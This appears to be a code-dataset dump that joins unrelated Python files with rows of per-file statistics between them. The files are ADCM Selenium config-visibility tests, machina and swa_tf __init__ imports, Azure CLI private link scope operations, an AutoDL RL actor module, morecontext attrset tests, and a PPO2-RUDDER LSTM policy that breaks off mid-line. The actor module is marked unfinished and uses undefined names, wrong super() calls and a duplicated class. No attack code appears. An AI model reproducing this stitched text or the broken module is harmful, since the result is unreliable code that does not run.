assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_true_field_advanced_false_invisible_false_activiatable_true") def test_group_advanced_true_invisible_true_field_advanced_false_invisible_false_active_true( sdk_client_fs: ADCMClient, path, app, login): """All invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_true_field_advanced_false_invisible_true_activiatable_false") def test_group_advanced_true_invisible_true_field_advanced_false_invisible_true_active_false( sdk_client_fs: ADCMClient, path, app, login): """All invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_true_field_advanced_true_invisible_false_activiatable_false") def test_group_advanced_true_invisible_true_field_advanced_true_invisible_false_active_false( sdk_client_fs: ADCMClient, path, app, login): """All invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_true_field_advanced_false_invisible_true_activiatable_true") def test_group_advanced_true_invisible_true_field_advanced_false_invisible_true_active_true( sdk_client_fs: ADCMClient, path, app, login): """All invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_true_field_advanced_true_invisible_false_activiatable_true") def test_group_advanced_true_invisible_true_field_advanced_true_invisible_false_active_true( sdk_client_fs: ADCMClient, path, app, login): """All invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_true_field_advanced_true_invisible_true_activiatable_false") def test_group_advanced_true_invisible_true_field_advanced_true_invisible_true_active_false( sdk_client_fs: ADCMClient, path, app, login): """All invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class") @parametrize_by_data_subdirs( __file__, "group_advanced_true_invisible_true_field_advanced_true_invisible_true_activiatable_true") def test_group_advanced_true_invisible_true_field_advanced_true_invisible_true_active_true( sdk_client_fs: ADCMClient, path, app, login): """All invisible :param sdk_client_fs: :param path: :param app: :param login: :return: """ bundle = sdk_client_fs.upload_from_fs(path) cluster_name = path.split("/")[-1] cluster = bundle.cluster_create(name=cluster_name) app.driver.get("{}/cluster/{}/config".format (app.adcm.url, cluster.cluster_id)) config = Configuration(app.driver) fields = config.get_field_groups() for field in fields: assert not field.is_displayed(), field.get_attribute("class") group_names = config.get_group_elements() assert not group_names, group_names if not config.advanced: config.click_advanced() assert config.advanced fields = config.get_field_groups() group_names = config.get_group_elements() assert not group_names for field in fields: assert not field.is_displayed(), field.get_attribute("class")
36.194245
99
0.717662
5,912
45,279
5.110115
0.015054
0.074145
0.034954
0.042369
0.981729
0.980471
0.980471
0.980471
0.980471
0.980173
0
0.00293
0.186024
45,279
1,250
100
36.2232
0.816773
0.068862
0
0.917571
0
0
0.094635
0.069531
0
0
0
0
0.253796
1
0.036876
false
0
0.005423
0.001085
0.043384
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
8d78af81335aa0ce5a573e54848902046802af5a
115
py
Python
machina/models/__init__.py
AswinRetnakumar/Machina
6519935ca4553192ac99fc1c7c1e7cab9dd72693
[ "MIT" ]
302
2019-03-13T10:21:29.000Z
2022-03-25T10:01:46.000Z
machina/models/__init__.py
AswinRetnakumar/Machina
6519935ca4553192ac99fc1c7c1e7cab9dd72693
[ "MIT" ]
50
2019-03-13T09:45:00.000Z
2021-12-23T18:32:00.000Z
machina/models/__init__.py
AswinRetnakumar/Machina
6519935ca4553192ac99fc1c7c1e7cab9dd72693
[ "MIT" ]
55
2019-03-17T01:59:57.000Z
2022-03-28T01:13:40.000Z
from machina.models.base import BaseModel from machina.models.deterministic_state_model import DeterministicSModel
38.333333
72
0.895652
14
115
7.214286
0.714286
0.217822
0.336634
0
0
0
0
0
0
0
0
0
0.069565
115
2
73
57.5
0.943925
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
570df431d6f6a6dcb4cd409bc65ed8a2fbbdc611
6,455
py
Python
src/azure-cli/azure/cli/command_modules/monitor/operations/private_link_scope.py
xaliciayang/azure-cli
38c80c875e8a79d08d06a2f42ec82fd54934343e
[ "MIT" ]
4
2016-08-23T06:19:01.000Z
2018-03-20T22:47:15.000Z
src/azure-cli/azure/cli/command_modules/monitor/operations/private_link_scope.py
xaliciayang/azure-cli
38c80c875e8a79d08d06a2f42ec82fd54934343e
[ "MIT" ]
120
2018-03-27T19:14:40.000Z
2020-12-10T23:53:35.000Z
src/azure-cli/azure/cli/command_modules/monitor/operations/private_link_scope.py
xaliciayang/azure-cli
38c80c875e8a79d08d06a2f42ec82fd54934343e
[ "MIT" ]
11
2018-08-23T21:31:06.000Z
2020-09-03T21:39:51.000Z
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- from knack.log import get_logger logger = get_logger(__name__) # region Private Link Scope def show_private_link_scope(client, resource_group_name, scope_name): return client.get(resource_group_name=resource_group_name, scope_name=scope_name) def delete_private_link_scope(client, resource_group_name, scope_name): return client.delete(resource_group_name=resource_group_name, scope_name=scope_name) def list_private_link_scope(client, resource_group_name=None): if not resource_group_name: return client.list() return client.list_by_resource_group(resource_group_name=resource_group_name) def create_private_link_scope(client, resource_group_name, scope_name, location='Global', tags=None): return client.create_or_update(resource_group_name=resource_group_name, scope_name=scope_name, location=location, tags=tags) def update_private_link_scope(client, resource_group_name, scope_name, tags): return client.update_tags(resource_group_name=resource_group_name, scope_name=scope_name, tags=tags) # endregion # region Private Link Scope Resource def show_private_link_scope_resource(client, resource_group_name, scope_name, resource_name): return client.get(resource_group_name=resource_group_name, scope_name=scope_name, name=resource_name) def delete_private_link_scope_resource(client, resource_group_name, scope_name, resource_name): return client.delete(resource_group_name=resource_group_name, scope_name=scope_name, name=resource_name) def list_private_link_scope_resource(client, resource_group_name, scope_name): return client.list_by_private_link_scope(resource_group_name=resource_group_name, scope_name=scope_name) def create_private_link_scope_resource(client, resource_group_name, scope_name, resource_name, linked_resource_id): return client.create_or_update(resource_group_name=resource_group_name, scope_name=scope_name, name=resource_name, linked_resource_id=linked_resource_id) # endregion # region Private Link Resource def list_private_link_resource(client, resource_group_name, scope_name): return client.list_by_private_link_scope(resource_group_name=resource_group_name, scope_name=scope_name) def show_private_link_resource(client, resource_group_name, scope_name, group_name): return client.get(resource_group_name=resource_group_name, scope_name=scope_name, group_name=group_name) # endregion # region Private Endpoint Connection def show_private_endpoint_connection(client, resource_group_name, scope_name, private_endpoint_connection_name): return client.get(resource_group_name=resource_group_name, scope_name=scope_name, private_endpoint_connection_name=private_endpoint_connection_name) def delete_private_endpoint_connection(client, resource_group_name, scope_name, private_endpoint_connection_name): return client.delete(resource_group_name=resource_group_name, scope_name=scope_name, private_endpoint_connection_name=private_endpoint_connection_name) def list_private_endpoint_connection(client, resource_group_name, scope_name): return client.list_by_private_link_scope(resource_group_name=resource_group_name, scope_name=scope_name) # pylint: disable=line-too-long, unused-argument def _update_private_endpoint_connection_status(cmd, client, resource_group_name, scope_name, private_endpoint_connection_name, is_approved=True, description=None): private_endpoint_connection = client.get(resource_group_name=resource_group_name, scope_name=scope_name, private_endpoint_connection_name=private_endpoint_connection_name) old_status = private_endpoint_connection.private_link_service_connection_state.status new_status = "Approved" if is_approved else "Rejected" if old_status == new_status: logger.warning('The status has been satisfied. Skip this command.') return None private_endpoint_connection.private_link_service_connection_state.status = new_status private_endpoint_connection.private_link_service_connection_state.description = description return client.create_or_update(resource_group_name=resource_group_name, scope_name=scope_name, private_endpoint_connection_name=private_endpoint_connection_name, private_link_service_connection_state=private_endpoint_connection.private_link_service_connection_state) def approve_private_endpoint_connection(cmd, client, resource_group_name, scope_name, private_endpoint_connection_name, description=""): return _update_private_endpoint_connection_status( cmd, client, resource_group_name=resource_group_name, scope_name=scope_name, is_approved=True, private_endpoint_connection_name=private_endpoint_connection_name, description=description ) def reject_private_endpoint_connection(cmd, client, resource_group_name, scope_name, private_endpoint_connection_name, description=""): return _update_private_endpoint_connection_status( cmd, client, resource_group_name=resource_group_name, scope_name=scope_name, is_approved=False, private_endpoint_connection_name=private_endpoint_connection_name, description=description ) # endregion
47.814815
139
0.694191
722
6,455
5.710526
0.113573
0.124424
0.222653
0.176085
0.808149
0.795052
0.768858
0.759399
0.745331
0.685423
0
0
0.227266
6,455
134
140
48.171642
0.826584
0.084895
0
0.481928
0
0
0.012048
0
0
0
0
0
0
1
0.204819
false
0
0.012048
0.180723
0.445783
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
10
5725fed5ea7f8f4244435c1d6fbbec28e8c3327c
4,021
py
Python
lib/xlayers/super_rl_actor.py
xgmiao/AutoDL-Projects
0dbbc286c9f56136291590136fffd513af881c36
[ "MIT" ]
1
2021-05-11T00:41:15.000Z
2021-05-11T00:41:15.000Z
lib/xlayers/super_rl_actor.py
xgmiao/AutoDL-Projects
0dbbc286c9f56136291590136fffd513af881c36
[ "MIT" ]
null
null
null
lib/xlayers/super_rl_actor.py
xgmiao/AutoDL-Projects
0dbbc286c9f56136291590136fffd513af881c36
[ "MIT" ]
null
null
null
##################################################### # Copyright (c) Xuanyi Dong [GitHub D-X-Y], 2021.03 # ##################################################### # DISABLED / NOT-FINISHED ##################################################### import torch import torch.nn as nn import torch.nn.functional as F import math from typing import Optional, Callable import spaces from .super_container import SuperSequential from .super_linear import SuperLinear class SuperActor(SuperModule): """A Actor in RL.""" def _distribution(self, obs): raise NotImplementedError def _log_prob_from_distribution(self, pi, act): raise NotImplementedError def forward_candidate(self, **kwargs): return self.forward_raw(**kwargs) def forward_raw(self, obs, act=None): # Produce action distributions for given observations, and # optionally compute the log likelihood of given actions under # those distributions. pi = self._distribution(obs) logp_a = None if act is not None: logp_a = self._log_prob_from_distribution(pi, act) return pi, logp_a class SuperLfnaMetaMLP(SuperModule): def __init__(self, obs_dim, hidden_sizes, act_cls): super(SuperLfnaMetaMLP).__init__() self.delta_net = SuperSequential( SuperLinear(obs_dim, hidden_sizes[0]), act_cls(), SuperLinear(hidden_sizes[0], hidden_sizes[1]), act_cls(), SuperLinear(hidden_sizes[1], 1), ) class SuperLfnaMetaMLP(SuperModule): def __init__(self, obs_dim, act_dim, hidden_sizes, act_cls): super(SuperLfnaMetaMLP).__init__() log_std = -0.5 * np.ones(act_dim, dtype=np.float32) self.log_std = torch.nn.Parameter(torch.as_tensor(log_std)) self.mu_net = SuperSequential( SuperLinear(obs_dim, hidden_sizes[0]), act_cls(), SuperLinear(hidden_sizes[0], hidden_sizes[1]), act_cls(), SuperLinear(hidden_sizes[1], act_dim), ) def _distribution(self, obs): mu = self.mu_net(obs) std = torch.exp(self.log_std) return Normal(mu, std) def _log_prob_from_distribution(self, pi, act): return pi.log_prob(act).sum(axis=-1) def forward_candidate(self, **kwargs): return self.forward_raw(**kwargs) def forward_raw(self, obs, act=None): # Produce action distributions for given observations, and # optionally compute the log likelihood of given actions under # those distributions. pi = self._distribution(obs) logp_a = None if act is not None: logp_a = self._log_prob_from_distribution(pi, act) return pi, logp_a class SuperMLPGaussianActor(SuperModule): def __init__(self, obs_dim, act_dim, hidden_sizes, act_cls): super(SuperMLPGaussianActor).__init__() log_std = -0.5 * np.ones(act_dim, dtype=np.float32) self.log_std = torch.nn.Parameter(torch.as_tensor(log_std)) self.mu_net = SuperSequential( SuperLinear(obs_dim, hidden_sizes[0]), act_cls(), SuperLinear(hidden_sizes[0], hidden_sizes[1]), act_cls(), SuperLinear(hidden_sizes[1], act_dim), ) def _distribution(self, obs): mu = self.mu_net(obs) std = torch.exp(self.log_std) return Normal(mu, std) def _log_prob_from_distribution(self, pi, act): return pi.log_prob(act).sum(axis=-1) def forward_candidate(self, **kwargs): return self.forward_raw(**kwargs) def forward_raw(self, obs, act=None): # Produce action distributions for given observations, and # optionally compute the log likelihood of given actions under # those distributions. pi = self._distribution(obs) logp_a = None if act is not None: logp_a = self._log_prob_from_distribution(pi, act) return pi, logp_a
33.231405
70
0.620244
491
4,021
4.820774
0.193483
0.069708
0.027883
0.058302
0.834812
0.834812
0.834812
0.834812
0.768061
0.768061
0
0.009593
0.248197
4,021
120
71
33.508333
0.773404
0.126088
0
0.795181
0
0
0
0
0
0
0
0
0
1
0.180723
false
0
0.096386
0.060241
0.445783
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
93a00b2e6a6bad7c43128007fb024906fa09f1c4
43
py
Python
geohunter/__init__.py
adaj/geohunter
fbbb7492f79fa838c2080c90d5e8ac2066d29568
[ "MIT" ]
7
2019-04-30T14:35:04.000Z
2021-11-30T21:05:01.000Z
geohunter/__init__.py
adaj/geohunter
fbbb7492f79fa838c2080c90d5e8ac2066d29568
[ "MIT" ]
3
2019-05-07T19:30:21.000Z
2021-12-01T13:44:56.000Z
geohunter/__init__.py
adaj/geohunter
fbbb7492f79fa838c2080c90d5e8ac2066d29568
[ "MIT" ]
null
null
null
import geohunter.osm import geohunter.util
14.333333
21
0.860465
6
43
6.166667
0.666667
0.810811
0
0
0
0
0
0
0
0
0
0
0.093023
43
2
22
21.5
0.948718
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
9e1d859ca0675b706e5a171919a2bff31954e264
3,581
py
Python
test/test_attrset.py
jwodder/morecontext
e2f75ab5797e66410b87984f93d88028015f8df3
[ "MIT" ]
1
2021-11-30T03:54:02.000Z
2021-11-30T03:54:02.000Z
test/test_attrset.py
jwodder/morecontext
e2f75ab5797e66410b87984f93d88028015f8df3
[ "MIT" ]
null
null
null
test/test_attrset.py
jwodder/morecontext
e2f75ab5797e66410b87984f93d88028015f8df3
[ "MIT" ]
null
null
null
from types import SimpleNamespace import pytest from morecontext import attrset def test_attrset() -> None: obj = SimpleNamespace(foo=42) with attrset(obj, "foo", "bar"): assert obj.foo == "bar" assert obj.foo == 42 def test_attrset_error() -> None: obj = SimpleNamespace(foo=42) with pytest.raises(RuntimeError, match="Catch this!"): with attrset(obj, "foo", "bar"): assert obj.foo == "bar" raise RuntimeError("Catch this!") assert obj.foo == 42 def test_attrset_modified() -> None: obj = SimpleNamespace(foo=42) with attrset(obj, "foo", "bar"): assert obj.foo == "bar" obj.foo = [3.14] assert obj.foo == 42 # type: ignore[comparison-overlap] def test_attrset_modified_error() -> None: obj = SimpleNamespace(foo=42) with pytest.raises(RuntimeError, match="Catch this!"): with attrset(obj, "foo", "bar"): assert obj.foo == "bar" obj.foo = [3.14] raise RuntimeError("Catch this!") assert obj.foo == 42 def test_attrset_delled() -> None: obj = SimpleNamespace(foo=42) with attrset(obj, "foo", "bar"): assert obj.foo == "bar" del obj.foo assert obj.foo == 42 def test_attrset_delled_error() -> None: obj = SimpleNamespace(foo=42) with pytest.raises(RuntimeError, match="Catch this!"): with attrset(obj, "foo", "bar"): assert obj.foo == "bar" del obj.foo raise RuntimeError("Catch this!") assert obj.foo == 42 def test_attrset_unset() -> None: obj = SimpleNamespace(foo=42) with attrset(obj, "bar", "quux"): assert obj.bar == "quux" assert not hasattr(obj, "bar") def test_attrset_unset_error() -> None: obj = SimpleNamespace(foo=42) with pytest.raises(RuntimeError, match="Catch this!"): with attrset(obj, "bar", "quux"): assert obj.bar == "quux" raise RuntimeError("Catch this!") assert not hasattr(obj, "bar") def test_attrset_unset_modified() -> None: obj = SimpleNamespace(foo=42) with attrset(obj, "bar", "quux"): assert obj.bar == "quux" obj.bar = [3.14] assert not hasattr(obj, "bar") def test_attrset_unset_modified_error() -> None: obj = SimpleNamespace(foo=42) with pytest.raises(RuntimeError, match="Catch this!"): with attrset(obj, "bar", "quux"): assert obj.bar == "quux" obj.bar = [3.14] raise RuntimeError("Catch this!") assert not hasattr(obj, "bar") def test_attrset_unset_delled() -> None: obj = SimpleNamespace(foo=42) with attrset(obj, "bar", "quux"): assert obj.bar == "quux" del obj.bar assert not hasattr(obj, "bar") def test_attrset_unset_delled_error() -> None: obj = SimpleNamespace(foo=42) with pytest.raises(RuntimeError, match="Catch this!"): with attrset(obj, "bar", "quux"): assert obj.bar == "quux" del obj.bar raise RuntimeError("Catch this!") assert not hasattr(obj, "bar") def test_attrset_not_copied() -> None: x = object() obj = SimpleNamespace(foo=x) with attrset(obj, "foo", "bar"): assert obj.foo == "bar" assert obj.foo is x def test_attrset_not_copied_error() -> None: x = object() obj = SimpleNamespace(foo=x) with pytest.raises(RuntimeError, match="Catch this!"): with attrset(obj, "foo", "bar"): assert obj.foo == "bar" raise RuntimeError("Catch this!") assert obj.foo is x
28.420635
60
0.602346
450
3,581
4.706667
0.088889
0.07932
0.067989
0.141643
0.929651
0.911709
0.911709
0.904155
0.859773
0.833805
0
0.018032
0.256632
3,581
125
61
28.648
0.777611
0.008936
0
0.824742
0
0
0.087398
0
0
0
0
0
0.28866
1
0.14433
false
0
0.030928
0
0.175258
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f51676397c0ae6f328be8b79afd8020033f254a8
198
py
Python
swa_tf/__init__.py
JGuillaumin/swa-tf
c76d40c485e4f51bdba923fa547ea93caf307b12
[ "BSD-2-Clause" ]
34
2019-02-25T03:41:18.000Z
2021-04-26T12:00:50.000Z
swa_tf/__init__.py
JGuillaumin/swa-tf
c76d40c485e4f51bdba923fa547ea93caf307b12
[ "BSD-2-Clause" ]
3
2019-05-14T09:34:43.000Z
2020-10-30T16:55:52.000Z
swa_tf/__init__.py
JGuillaumin/swa-tf
c76d40c485e4f51bdba923fa547ea93caf307b12
[ "BSD-2-Clause" ]
9
2019-03-17T09:37:22.000Z
2021-09-30T17:48:22.000Z
from .stochastic_weight_averaging import StochasticWeightAveraging from .moving_free_batch_normalization import MovingFreeBatchNormalization, moving_free_batch_normalization, moving_free_batch_norm
66
130
0.929293
21
198
8.238095
0.571429
0.17341
0.260116
0.323699
0
0
0
0
0
0
0
0
0.050505
198
2
131
99
0.920213
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
f551bf07e51dee8a6a114632884beafb1061853a
43,598
py
Python
baselines/ppo2_rudder/policies.py
jingweiz/baselines-rudder
0eef88e9233e9a65662dc0cec2504fddc122f986
[ "MIT" ]
281
2018-06-21T08:29:02.000Z
2021-10-03T12:18:06.000Z
baselines/ppo2_rudder/policies.py
Li-Ming-Fan/baselines-rudder
b3630121c1e101e701e7db88fb816e58b1418650
[ "MIT" ]
null
null
null
baselines/ppo2_rudder/policies.py
Li-Ming-Fan/baselines-rudder
b3630121c1e101e701e7db88fb816e58b1418650
[ "MIT" ]
40
2018-06-15T14:16:36.000Z
2020-12-07T15:28:05.000Z
# -*- coding: utf-8 -*- """policies.py: Adaption of baselines.ppo2.policies.py for RUDDER for atari games Author -- Michael Widrich Contact -- widrich@bioinf.jku.at """ import numpy as np import tensorflow as tf from baselines.a2c.utils import conv, fc, conv_to_fc, batch_to_seq, seq_to_batch from baselines.common.distributions import make_pdtype from baselines.ppo2_rudder.reward_redistribution import RewardRedistributionModel, observation_network from TeLL.layers import StopGradientLayer def nature_cnn(unscaled_images): """Convolutional parts of CNN from Nature paper Taken from baselines.ppo2.policies.py Parameters ------- unscaled_images : tensorflow tensor Frame of shape (batchsize, x, y, c) Returns ------- tensorflow tensor Output features of last convolutional layer with flattened x/y/c dimensions """ scaled_images = tf.cast(unscaled_images, tf.float32) / 255. activ = tf.nn.relu h = activ(conv(scaled_images, 'c1', nf=32, rf=8, stride=4, init_scale=np.sqrt(2))) h2 = activ(conv(h, 'c2', nf=64, rf=4, stride=2, init_scale=np.sqrt(2))) h3 = activ(conv(h2, 'c3', nf=64, rf=3, stride=1, init_scale=np.sqrt(2))) h3 = conv_to_fc(h3) return h3 def lstm(xs, ms, s, scope, nh): """LSTM layer for policy network, using same weight and bias initialization as LSTM in reward redistribution model Based on baselines.ppo2.policies.py; These initializations were taken directly from the redistribution model LSTM and could be optimized; """ nbatch, nin = [v.value for v in xs[0].get_shape()] lstm_w_init = lambda scale: lambda *args, **kwargs: tf.truncated_normal(*args, **kwargs) * scale truncated_normal_init = lambda mean, stddev: \ lambda *args, **kwargs: tf.truncated_normal(mean=mean, stddev=stddev, *args, **kwargs) with tf.variable_scope(scope, reuse=tf.AUTO_REUSE): wx_ig = tf.get_variable("wx_ig", initializer=lstm_w_init(0.1)([nin, nh])) wx_og = tf.get_variable("wx_og", initializer=lstm_w_init(0.1)([nin, nh])) wx_ci = tf.get_variable("wx_ci", initializer=lstm_w_init(0.0001)([nin, nh])) wx_fg = tf.get_variable("wx_fg", initializer=lstm_w_init(0.1)([nin, nh])) wh_ig = tf.get_variable("wh_ig", initializer=lstm_w_init(0.001)([nh, nh])) wh_og = tf.get_variable("wh_og", initializer=lstm_w_init(0.001)([nh, nh])) wh_ci = tf.get_variable("wh_ci", initializer=lstm_w_init(0.001)([nh, nh])) wh_fg = tf.get_variable("wh_fg", initializer=lstm_w_init(0.001)([nh, nh])) b_ig = tf.get_variable("b_ig", initializer=truncated_normal_init(mean=-5, stddev=0.1)([nh])) b_fg = tf.get_variable("b_fg", initializer=truncated_normal_init(mean=12, stddev=0.1)([nh])) b_og = tf.get_variable("b_og", initializer=truncated_normal_init(mean=-5, stddev=0.1)([nh])) b_ci = tf.get_variable("b_ci", initializer=truncated_normal_init(mean=0, stddev=0.1)([nh])) wx = tf.concat([wx_ig, wx_fg, wx_og, wx_ci], axis=1) wh = tf.concat([wh_ig, wh_fg, wh_og, wh_ci], axis=1) b = tf.concat([b_ig, b_fg, b_og, b_ci], axis=0) c, h = tf.split(axis=1, num_or_size_splits=2, value=s) for idx, (x, m) in enumerate(zip(xs, ms)): c *= (1 - m) h *= (1 - m) z = tf.matmul(x, wx) + tf.matmul(h, wh) + b i, f, o, u = tf.split(axis=1, num_or_size_splits=4, value=z) i = tf.nn.sigmoid(i) f = tf.nn.sigmoid(f) o = tf.nn.sigmoid(o) u = tf.tanh(u) c = f*c + i*u h = o*tf.identity(c) xs[idx] = h s = tf.concat(axis=1, values=[c, h]) return xs, s class LstmPolicy(object): def __init__(self, tf_session, ob_space, ac_space, nbatch, reward_redistribution_config, observation_network_config, lstm_network_config, training_config, exploration_config, nsteps, nlstm=64, reuse=False): """LSTM policy network, as described in RUDDER paper Based on baselines.ppo2.policies.py; LSTM layer sees features from it's own trainable observation network and the features from the reward redistribution observation network; Parameters ------- tf_session : tensorflow session tensorflow session to compute the graph in ob_space Baselines ob_space object (see ppo2_rudder.py); must provide .shape attribute for (x, y, c) shapes; ac_space Baselines ac_space object (see ppo2_rudder.py); must provide .n attribute for number of possible actions; nbatch : int Batchsize nsteps : int Fixed number of timesteps to process at once reward_redistribution_config : dict Dictionary containing config for reward redistribution: ----- lambda_eligibility_trace : float Eligibility trace value for redistributed reward vf_contrib : float Weighting of original value function (vf) vs. redistributed reward (rr), s.t. :math:`reward = vf \cdot vf\_contrib + rr \cdot (1-vf\_contrib)` use_reward_redistribution_quality_threshold : float Quality of reward redistribution has to exceed use_reward_redistribution_quality_threshold to be used; use_reward_redistribution_quality_threshold range is [0,1]; Quality measure is the squared prediction error, as described in RUDDER paper; use_reward_redistribution : bool Use reward redistribution? rr_junksize : int Junksize for reward redistribution; Junks overlap by 1 half each cont_pred_w : float Weighting of continous prediciton loss vs. prediction loss of final return at last timestep intgrd_steps : int Stepsize for integrated gradients intgrd_batchsize : int Integrated gradients is computed batch-wise if intgrd_batchsize > 1 observation_network_config : dict Dictionary containing config for observation network that processes observations and feeds them to LSTM network: ----- show_states : bool Show frames to network? show_statedeltas : bool Show frame deltas to network? prepoc_states : list of dicts Network config to preprocess frames prepoc_deltas : list of dicts Network config to preprocess frame deltas prepoc_observations : list of dicts Network config to preprocess features from frame and frame-delta preprocessing networks lstm_network_config : dict Dictionary containing config for LSTM network: ----- show_actions : bool Show taken actions to LSTM? reversed : bool Process game sequence in reversed order? layers : list of dicts Network config for LSTM network and optional additional dense layers initializations : dict Initialization config for LSTM network timestep_encoding : dict Set "max_value" and "triangle_span" for TeLL.utiltiy.misc_tensorflow.TriangularValueEncoding class training_config : dict Dictionary containing config for training and update procedure: ----- n_no_rr_updates : int Number of updates to perform without training or using reward redistribution network n_pretrain_games : int Number of games to pretrain the reward redistribution network without using it; downscale_lr_policylag : bool Downscale learningrate permanently if policy lag gets too large? optimizer : tf.train optimizer Optimizer in tf.train, e.g. "AdamOptimizer" optimizer_params : dict Kwargs for optimizer l1 : float Weighting for l1 weight regularization l2 : float Weighting for l2 weight regularization clip_gradients : float Threshold for clipping gradients (clipping by norm) exploration_config : dict Dictionary containing config for exploration: ----- sample_actions_from_softmax : bool True: Apply softmax to policy network output and use it as probabilities to pick an action False: Use the max. policy network output as action temporal_safe_exploration : bool User RUDDER safe exploration save_pi_threshold : float Threshold value in range [0,1] for safe actions in RUDDER safe exploration nlstm : int Number of LSTM units (=memory cells) reuse : bool Reuse tensorflow variables? """ # # Shapes # nenv = nbatch // nsteps nh, nw, nc = ob_space.shape ob_shape = (nbatch, nh, nw, nc) seq_ob_shape = (nenv, -1, nh, nw, 1) nact = ac_space.n # # Placeholders for inputs # X = tf.placeholder(tf.uint8, ob_shape) #obs M = tf.placeholder(tf.float32, [nbatch]) #mask (done t-1) S = tf.placeholder(tf.float32, [nenv, nlstm*2]) #states # # Prepare input # single_frames = tf.cast(tf.reshape(X[..., -1:], shape=seq_ob_shape), dtype=tf.float32) delta_frames = single_frames - tf.cast(tf.reshape(X[..., -2:-1], shape=seq_ob_shape), dtype=tf.float32) # # Get observation features from RR model # rr_model = RewardRedistributionModel(reward_redistribution_config=reward_redistribution_config, observation_network_config=observation_network_config, lstm_network_config=lstm_network_config, training_config=training_config, scopename="RR") self.rr_observation_model = rr_model rr_observation_layer = 